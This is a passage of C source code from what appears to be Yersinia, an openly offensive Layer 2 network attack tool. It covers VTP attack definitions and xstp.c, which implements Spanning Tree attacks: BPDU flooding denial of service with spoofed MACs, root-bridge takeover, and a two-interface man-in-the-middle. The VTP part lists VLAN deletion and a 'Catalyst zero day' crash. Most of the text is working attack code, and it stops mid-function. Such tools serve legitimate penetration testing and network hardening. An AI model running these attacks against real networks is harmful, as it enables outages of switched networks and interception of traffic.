VLAN_TYPE_TRBRF 0x05 static const struct tuple_type_desc vlan_type[] = { { VLAN_TYPE_ETHERNET, "Ethernet" }, { VLAN_TYPE_FDDI, "FDDI" }, { VLAN_TYPE_TRCRF, "TRCRF" }, { VLAN_TYPE_FDDI_NET, "FDDI-NET" }, { VLAN_TYPE_TRBRF, "TRBRF" }, { 0, NULL } }; /* Default values */ #define VTP_DFL_VERSION 0x01 #define VTP_DFL_DOMAIN "\x0\x0\x0\x0\x0\x0\x0\x0" #define VTP_DFL_DOM_LEN 0x08 #define VTP_DFL_CODE VTP_REQUEST #define VTP_TIMESTAMP_SIZE 12 #define VTP_DOMAIN_SIZE 32 #define VLAN_MAX 64 #define VLAN_NAME_SIZE 32 #define VLAN_ALIGNED_LEN(x) (4*(((x)+3)/4) ) #define VTP_DOT10_BASE 0x100000 #define VTP_VLAN_ADD 0x00 #define VTP_VLAN_DEL 0x01 #define VTP_VLAN_DEL_ALL 0x02 static struct proto_features vtp_features[] = { { F_LLC_CISCO, 0x2003 }, { -1, 0 } }; struct vlan_info_print { u_int8_t type; u_int16_t id; u_int32_t dot10; u_int8_t name[VLAN_NAME_SIZE+1]; }; struct vlan_info { u_int8_t len; u_int8_t status; u_int8_t type; u_int8_t name_len; u_int16_t id; u_int16_t mtu; u_int32_t dot10; }; struct vtp_summary { u_int8_t version; u_int8_t code; u_int8_t followers; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int32_t revision; u_int32_t updater; u_int8_t timestamp[VTP_TIMESTAMP_SIZE]; u_int8_t md5[16]; }; struct vtp_subset { u_int8_t version; u_int8_t code; u_int8_t seq; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int32_t revision; }; struct vtp_request { u_int8_t version; u_int8_t code; u_int8_t reserved; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int16_t start_val; }; struct vtp_join { u_int8_t version; u_int8_t code; u_int8_t maybe_reserved; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int32_t vlan; u_int8_t unknown[126]; }; /* VTP mode stuff */ struct vtp_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; u_int8_t code; u_int8_t followers; u_int8_t seq; char domain[VTP_DOMAIN_SIZE+1]; u_int8_t dom_len; u_int16_t start_val; u_int32_t revision; u_int32_t updater; u_int8_t timestamp[VTP_TIMESTAMP_SIZE+1]; u_int8_t md5[16]; u_int16_t vlans_len; u_int8_t *vlan_info; u_int8_t options[MAX_TLV*MAX_VALUE_LENGTH]; u_int16_t options_len; }; #define VTP_SMAC 0 #define VTP_DMAC 1 #define VTP_VERSION 2 #define VTP_CODE 3 #define VTP_DOMAIN 4 #define VTP_MD5 5 #define VTP_UPDATER 6 #define VTP_REVISION 7 #define VTP_TIMESTAMP 8 #define VTP_STARTVAL 9 #define VTP_FOLLOWERS 10 #define VTP_SEQ 11 #define VTP_VLAN 14 /* Struct needed for using protocol fields within the network client */ struct commands_param vtp_comm_params[] = { { VTP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { VTP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { VTP_VERSION, "version", "Version", 1, FIELD_HEX, "Set vtp version", " <00-FF> virtual trunking version", 2, 2, 0, NULL, NULL }, { VTP_CODE, "code", "Code", 1, FIELD_HEX, "Set vtp code", " <00-FF> virtual trunking code", 2, 2, 1, NULL, vtp_code }, { VTP_DOMAIN, "domain", "Domain", VTP_DOMAIN_SIZE, FIELD_STR, "Set vtp domain name to use", " WORD Domain name", VTP_DOMAIN_SIZE, 2, 1, NULL, NULL }, { VTP_MD5, "md5", "MD5", 16, FIELD_BYTES, "Set vtp md5 hash", " HHHHH... MD5 hash", 32, 3, 1, NULL, NULL }, { VTP_UPDATER, "updater", "Updater", 4, FIELD_IP, "Set updater IP address", " A.A.A.A IPv4 address", 15, 3, 0, NULL, NULL }, { VTP_REVISION, "revision", "Revision", 4, FIELD_DEC, "Set vtp revision number", " <0-1999999999> Revision number", 10, 4, 0, NULL, NULL }, { VTP_TIMESTAMP, "timestamp", "Timestamp", VTP_TIMESTAMP_SIZE, FIELD_STR, "Set vtp timestamp", " WORD Timestamp text", VTP_TIMESTAMP_SIZE, 4, 0, NULL, NULL }, { VTP_STARTVAL, "startval", "Start value", 2, FIELD_DEC, "Set vtp start value", " <0-65535> Start value", 5, 4, 0, NULL, NULL }, { VTP_FOLLOWERS, "followers", "Followers", 1, FIELD_DEC, "Set vtp followers", " <0-255> Followers number", 3, 5, 0, NULL, NULL }, { VTP_SEQ, "sequence", "Sequence", 1, FIELD_DEC, "Set vtp sequence number", " <0-255> Sequence number", 3, 5, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL }, { VTP_VLAN, "vlan", "VLAN", 0, FIELD_EXTRA, "", "", 0, 0, 0, NULL, NULL} }; void vtp_th_send(void *); void vtp_th_send_exit(struct attacks *); void vtp_th_dos_del_all(void *); void vtp_th_dos_del_all_exit(struct attacks *); void vtp_th_dos_del(void *); void vtp_th_dos_del_exit(struct attacks *); void vtp_th_dos_add(void *); void vtp_th_dos_add_exit(struct attacks *); void vtp_th_dos_crash(void *); void vtp_th_dos_crash_exit(struct attacks *); #define VTP_PARAM_VLAN_ID 0 #define VTP_PARAM_VLAN_NAME 1 static struct attack_param vtp_vlan_add_param[] = { { NULL, "VLAN ID", 2, FIELD_DEC, 4, NULL }, { NULL, "VLAN Name", VLAN_NAME_SIZE, FIELD_STR, VLAN_NAME_SIZE, NULL } }; static struct attack_param vtp_vlan_del_param[] = { { NULL, "VLAN ID", 2, FIELD_DEC, 4, NULL } }; #define VTP_ATTACK_SEND 0 #define VTP_ATTACK_DEL_ALL 1 #define VTP_ATTACK_DEL 2 #define VTP_ATTACK_ADD 3 #define VTP_ATTACK_CRASH 4 static struct _attack_definition vtp_attack[] = { { VTP_ATTACK_SEND, "sending VTP packet", NONDOS, SINGLE, vtp_th_send, NULL, 0 }, { VTP_ATTACK_DEL_ALL,"deleting all VTP vlans", DOS, SINGLE, vtp_th_dos_del_all, NULL, 0 }, { VTP_ATTACK_DEL, "deleting one vlan", DOS, SINGLE, vtp_th_dos_del, vtp_vlan_del_param, SIZE_ARRAY(vtp_vlan_del_param) }, { VTP_ATTACK_ADD, "adding one vlan", NONDOS, SINGLE, vtp_th_dos_add, vtp_vlan_add_param, SIZE_ARRAY(vtp_vlan_add_param) }, { VTP_ATTACK_CRASH, "Catalyst zero day", DOS, SINGLE, vtp_th_dos_crash, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void vtp_register(void); int8_t vtp_send(struct attacks *); int8_t vtp_init_attribs(struct term_node *); int8_t vtp_learn_packet(struct attacks *attacks, char *, u_int8_t *, void *, struct pcap_pkthdr *); char **vtp_get_printable_packet(struct pcap_data *); char **vtp_get_printable_store(struct term_node *); int8_t vtp_load_values(struct pcap_data *, void *); int8_t vtp_update_field(int8_t, struct term_node *, void *); int8_t vtp_generate_md5(char *, u_int32_t, u_int32_t, char *, u_int8_t, u_int8_t *, u_int16_t, u_int8_t *, u_int8_t); int8_t vtp_del_vlan(u_int16_t, u_int8_t *, u_int16_t *); void vtp_modify_vlan(u_int8_t, struct attacks *); int8_t vtp_add_vlan(u_int16_t, char *, u_int8_t **, u_int16_t *); int8_t vtp_init_comms_struct(struct term_node *); int8_t vtp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern void md5_sum(const u_char *, size_t, u_char *); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/xstp.c
/* xstp.c * Implementation and attacks for Spanning Tree Protocol (Rapid and Multi) * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "xstp.h" void xstp_register(void) { protocol_register(PROTO_STP, "STP", "Spanning Tree Protocol", "stp", sizeof(struct stp_data), xstp_init_attribs, xstp_learn_packet, xstp_get_printable_packet, xstp_get_printable_store, xstp_load_values, stp_attack, xstp_update_field, xstp_features, xstp_comm_params, SIZE_ARRAY(xstp_comm_params), NULL, 0, NULL, xstp_init_comms_struct, PROTO_VISIBLE, xstp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t xstp_init_comms_struct(struct term_node *node) { struct stp_data *stp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(xstp_comm_params)); if (comm_param == NULL) { thread_error("xstp_init_commands_struct calloc error",errno); return -1; } stp_data = node->protocol[PROTO_STP].tmp_data; node->protocol[PROTO_STP].commands_param = comm_param; comm_param[XSTP_SMAC] = &stp_data->mac_source; comm_param[XSTP_DMAC] = &stp_data->mac_dest; comm_param[XSTP_ID] = &stp_data->id; comm_param[XSTP_VER] = &stp_data->version; comm_param[XSTP_TYPE] = &stp_data->bpdu_type; comm_param[XSTP_FLAGS] = &stp_data->flags; comm_param[XSTP_ROOTID] = &stp_data->root_id; comm_param[XSTP_PATHCOST] = &stp_data->root_pc; comm_param[XSTP_BRIDGEID] = &stp_data->bridge_id; comm_param[XSTP_PORTID] = &stp_data->port_id; comm_param[XSTP_AGE] = &stp_data->message_age; comm_param[XSTP_MAX] = &stp_data->max_age; comm_param[XSTP_HELLO] = &stp_data->hello_time; comm_param[XSTP_FWD] = &stp_data->forward_delay; comm_param[14] = NULL; comm_param[15] = NULL; return 0; } void xstp_th_send_bpdu_conf( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_send_bpdu_conf pthread_sigmask()", errno); xstp_th_send_bpdu_conf_exit(attacks); } xstp_send_all_bpdu_conf(attacks); xstp_th_send_bpdu_conf_exit(attacks); } void xstp_th_send_bpdu_conf_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t xstp_send_all_bpdu_conf(struct attacks *attacks) { dlist_t *p; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { if (xstp_send_bpdu_conf(attacks->mac_spoofing, (struct stp_data *)(attacks->data), (struct interface_data *) dlist_data(p)) < 0) return -1; } return 0; } int8_t xstp_send_bpdu_conf(u_int8_t mac_spoofing, struct stp_data *stp_data, struct interface_data *iface) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; struct interface_data *iface_data; lhandler = iface->libnet_handler; t = libnet_build_stp_conf( stp_data->id, /* protocol id */ stp_data->version, /* protocol version */ stp_data->bpdu_type, /* BPDU type */ stp_data->flags, /* BPDU flags */ stp_data->root_id, /* root id */ stp_data->root_pc, /* root path cost */ stp_data->bridge_id, /* bridge id */ stp_data->port_id, /* port id */ stp_data->message_age, /* message age */ stp_data->max_age, /* max age */ stp_data->hello_time, /* hello time */ stp_data->forward_delay, /* forward delay */ stp_data->rstp_data, /* payload */ stp_data->rstp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build stp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_2( LIBNET_SAP_STP, /* DSAP */ LIBNET_SAP_STP, /* SSAP */ 0x03, /* control */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_3( stp_data->mac_dest, /* ethernet destination */ (mac_spoofing) ? stp_data->mac_source : iface->etheraddr, /* ethernet source */ LIBNET_802_2_H + LIBNET_STP_CONF_H + stp_data->rstp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_STP].packets_out++; iface_data = interfaces_get_struct(iface->ifname); iface_data->packets_out[PROTO_STP]++; return 0; } void xstp_th_send_bpdu_tcn( void *arg ) { struct attacks *attacks = (struct attacks *)arg ; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_send_bpdu_tcn pthread_sigmask()",errno); xstp_th_send_bpdu_tcn_exit(attacks); } xstp_send_all_bpdu_tcn(attacks); xstp_th_send_bpdu_tcn_exit(attacks); } void xstp_th_send_bpdu_tcn_exit(struct attacks *attacks) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t xstp_send_all_bpdu_tcn(struct attacks *attacks) { dlist_t *p; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { if (xstp_send_bpdu_tcn(attacks->mac_spoofing,(struct stp_data *)(attacks->data), (struct interface_data *)dlist_data(p)) < 0) return -1; } return 0; } int8_t xstp_send_bpdu_tcn(u_int8_t mac_spoofing, struct stp_data *stp_data, struct interface_data *iface) { libnet_ptag_t t; int32_t sent; libnet_t *lhandler; struct interface_data *iface_data; lhandler = iface->libnet_handler; t = libnet_build_stp_tcn( stp_data->id, /* protocol id */ stp_data->version, /* protocol version */ 0x80, /* BPDU type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build stp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_2( LIBNET_SAP_STP, /* DSAP */ LIBNET_SAP_STP, /* SSAP */ 0x03, /* control */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_3( stp_data->mac_dest, /* ethernet destination */ (mac_spoofing) ? stp_data->mac_source : iface->etheraddr, /* ethernet source */ LIBNET_802_2_H + LIBNET_STP_TCN_H, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error( "libnet_write error",lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_STP].packets_out++; iface_data = interfaces_get_struct(iface->ifname); iface_data->packets_out[PROTO_STP]++; return 0; } /*****************************/ /* Child/Thread loop sending */ /* Hellos every 'Hello Time' */ /*****************************/ void xstp_send_hellos( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct stp_data *stp_data = (struct stp_data *)attacks->data; struct timeval hello; int ret; int i=0; u_int16_t secs = 0 ; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; write_log(0, "\n helper: %X started...\n", (int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (i%4) /* 1 sec!!...*/ { i=0; if (secs == (ntohs(stp_data->hello_time)/256) ) /* Send Hellos...*/ { switch((u_int8_t)stp_data->bpdu_type) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: xstp_send_all_bpdu_conf(arg); break; case BPDU_TCN: xstp_send_all_bpdu_tcn(arg); break; } secs=0; } else secs++; } else i++; } /* if timeout...*/ hello.tv_sec = 0; hello.tv_usec = 250000; } write_log(0," helper: %X finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } /*********************************/ /* DoS attack sending CONF BPDUs */ /* with flag on */ /*********************************/ void xstp_th_dos_conf( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct stp_data *stp_data; sigset_t mask; #ifdef LBL_ALIGN u_int16_t temp; #endif pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_dos_conf pthread_sigmask()",errno); xstp_th_dos_conf_exit(attacks); } stp_data = attacks->data; stp_data->flags = STP_TOPOLOGY_CHANGE; /* some default values for BPDUs conf */ stp_data->root_pc = 0; stp_data->hello_time = XSTP_DFL_HELLO_TIME; stp_data->forward_delay = XSTP_DFL_FORW_DELAY; stp_data->max_age = XSTP_DFL_MAX_AGE; parser_vrfy_mac("01:80:C2:00:00:00", stp_data->mac_dest); while(!attacks->attack_th.stop) { attack_gen_mac(stp_data->mac_source); #ifdef LBL_ALIGN temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->bridge_id, (void *)&temp,2); temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->root_id, (void *)&temp,2); #else *((u_int16_t *) (stp_data->bridge_id)) = libnet_get_prand(LIBNET_PRu16); *((u_int16_t *) (stp_data->root_id)) = libnet_get_prand(LIBNET_PRu16); #endif memcpy((void *)&stp_data->root_id[2],(void *)&stp_data->mac_source,6); memcpy((void *)&stp_data->bridge_id[2],(void *)&stp_data->mac_source,6); xstp_send_all_bpdu_conf(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } xstp_th_dos_conf_exit(attacks); } void xstp_th_dos_conf_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /********************************/ /* DoS attack sending TCN BPDUs */ /********************************/ void xstp_th_dos_tcn( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct stp_data *stp_data; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_dos_tcn pthread_sigmask()",errno); xstp_th_dos_tcn_exit(attacks); } stp_data = attacks->data; parser_vrfy_mac("01:80:C2:00:00:00",stp_data->mac_dest); stp_data->bpdu_type = BPDU_TCN; while(!attacks->attack_th.stop) { attack_gen_mac(stp_data->mac_source); xstp_send_all_bpdu_tcn(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } xstp_th_dos_tcn_exit(attacks); } void xstp_th_dos_tcn_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /*******************************/ /* NONDoS attack sending BPDUs */ /* claiming root role if RSTP */ /* or claiming the root bridge */ /* if not RSTP */ /*******************************/ void xstp_th_nondos_role( void *arg ) { struct attacks *attacks = (struct attacks *)arg ; struct stp_data *stp_data; struct pcap_pkthdr header; struct timeval now; u_int8_t flags_tmp; u_int8_t *packet, *stp_conf; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_nondos_role pthread_sigmask()",errno); xstp_th_nondos_role_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; stp_data = attacks->data; if (xstp_learn_packet(attacks, NULL, &attacks->attack_th.stop,stp_data,&header) < 0) xstp_th_nondos_role_exit(attacks); xstp_decrement_bridgeid(stp_data); /* let the thread be created */ if ( thread_create( &attacks->helper_th, &xstp_send_hellos, attacks ) != 0 ) { write_log( 0, "xstp_th_nondos_role thread_create()"); xstp_th_nondos_role_exit(attacks); } packet = (uint8_t *)calloc( 1, SNAPLEN ); if ( packet ) { while (!attacks->attack_th.stop) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_STP, NO_TIMEOUT); if ( ! attacks->attack_th.stop ) { stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H); switch (*(stp_conf+3)) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: if ( *(stp_conf+3) == STP_TOPOLOGY_CHANGE) { flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_all_bpdu_conf(arg); stp_data->flags = flags_tmp; } break; case BPDU_TCN: flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_all_bpdu_conf(arg); stp_data->flags = flags_tmp; break; } } } free(packet); } xstp_th_nondos_role_exit(attacks); } void xstp_th_nondos_role_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /*****************************/ /* Child/Thread loop sending */ /* Hellos every 'Hello Time' */ /*****************************/ void xstp_send_hellos_mitm( void *arg ) { int32_t ret, i; u_int16_t secs; struct xstp_mitm_args *xstp_mitm_args; struct timeval hello; struct attacks *attacks = (struct attacks *)arg; struct stp_data *stp_data, *stp_data2; struct attack_param *param = NULL; dlist_t *p; struct interface_data *iface1, *iface2; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; xstp_mitm_args = (struct xstp_mitm_args *)arg; attacks = xstp_mitm_args->attacks; stp_data = attacks->data; stp_data2 = xstp_mitm_args->stp_data2; param = attacks->params; p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE1].value); iface1 = (struct interface_data *) dlist_data(p); p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE2].value); iface2 = (struct interface_data *) dlist_data(p); secs = 0; i = 0; write_log(0,"\n helper: %X started...\n",(int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (i%4) /* 1 sec!!...*/ { i=0; if (secs == (ntohs(stp_data->hello_time)/256) ) /* Send Hellos...*/ { switch((u_int8_t)stp_data->bpdu_type) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface1); xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data2,iface2); break; case BPDU_TCN: xstp_send_bpdu_tcn(attacks->mac_spoofing,stp_data,iface1); xstp_send_bpdu_tcn(attacks->mac_spoofing,stp_data2,iface2); break; } secs=0; } else secs++; } else i++; } /* if timeout...*/ hello.tv_sec = 0; hello.tv_usec = 250000; } write_log(0," helper: %d finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } /*******************************/ /* DoS attack sending BPDUs */ /* claiming root role if RSTP */ /* or claiming the root bridge */ /* if not RSTP */ /*******************************/ void xstp_th_dos_mitm( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct attack_param *param; struct xstp_mitm_args xstp_mitm_args; struct stp_data *stp_data, stp_data2; struct pcap_pkthdr header; struct timeval now; u_int8_t flags_tmp, flags_tmp2; u_int8_t *packet, *stp_conf; dlist_t *p; struct interface_data *iface, *iface1, *iface2; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_dos_mitm pthread_sigmask()",errno); xstp_th_dos_mitm_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; stp_data = attacks->data; xstp_mitm_args.attacks = attacks; xstp_mitm_args.stp_data2 = &stp_data2; param = attacks->params; p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE1].value); iface1 = (struct interface_data *) dlist_data(p); p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE2].value); iface2 = (struct interface_data *) dlist_data(p); if ( !iface1 || !iface2 ) { write_log(0, "Nonexistant or not enabled interfaces!!\n"); xstp_th_dos_mitm_exit(attacks); } if (xstp_learn_packet(attacks, iface1->ifname, &attacks->attack_th.stop, stp_data, &header) < 0) xstp_th_dos_mitm_exit(attacks); xstp_decrement_bridgeid(stp_data); memcpy((void *)&stp_data2, (void *)stp_data,sizeof(struct stp_data)); if (xstp_learn_packet(attacks, iface2->ifname, &attacks->attack_th.stop, &stp_data2, &header) < 0) xstp_th_dos_mitm_exit(attacks); xstp_decrement_bridgeid(&stp_data2); if ( thread_create( &attacks->helper_th, &xstp_send_hellos, &xstp_mitm_args) != 0 ) { write_log( 0, "xstp_th_dos_mitm thread_create error\n"); xstp_th_dos_mitm_exit(attacks); } packet = (uint8_t *)calloc( 1, SNAPLEN ); if ( ! packet ) xstp_th_dos_mitm_exit(attacks); while (!attacks->attack_th.stop) { iface = interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_STP, NO_TIMEOUT); if ( (iface!=iface1) && (iface!=iface2)) continue; if (attacks->attack_th.stop) break; stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H); switch (*(stp_conf+3)) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: if ( *(stp_conf+3) == STP_TOPOLOGY_CHANGE) { if (iface == iface1) { flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface); stp_data->flags = flags_tmp; } else { flags_tmp2 = stp_data2.flags; stp_data2.flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,&stp_data2,iface); stp_data2.flags = flags_tmp2; } } break; case BPDU_TCN: if (iface == iface1) { flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface); stp_data->flags = flags_tmp; } else { flags_tmp2 = stp_data2.flags; stp_data2.flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,&stp_data2,iface); stp_data2.flags = flags_tmp2; } break; } } free(packet); xstp_th_dos_mitm_exit(attacks); } void xstp_th_dos_mitm_exit(struct attacks *attacks) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /*******************************/ /* NONDoS attack sending BPDUs */ /* claiming other role */ /*******************************/ void xstp_th_nondos_other_role( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct stp_data *stp_data; struct pcap_pkthdr header; struct timeval now; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_nondos_role pthread_sigmask()",errno); xstp_th_nondos_other_role_exit(attacks); } stp_data = attacks->data; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_sec; if 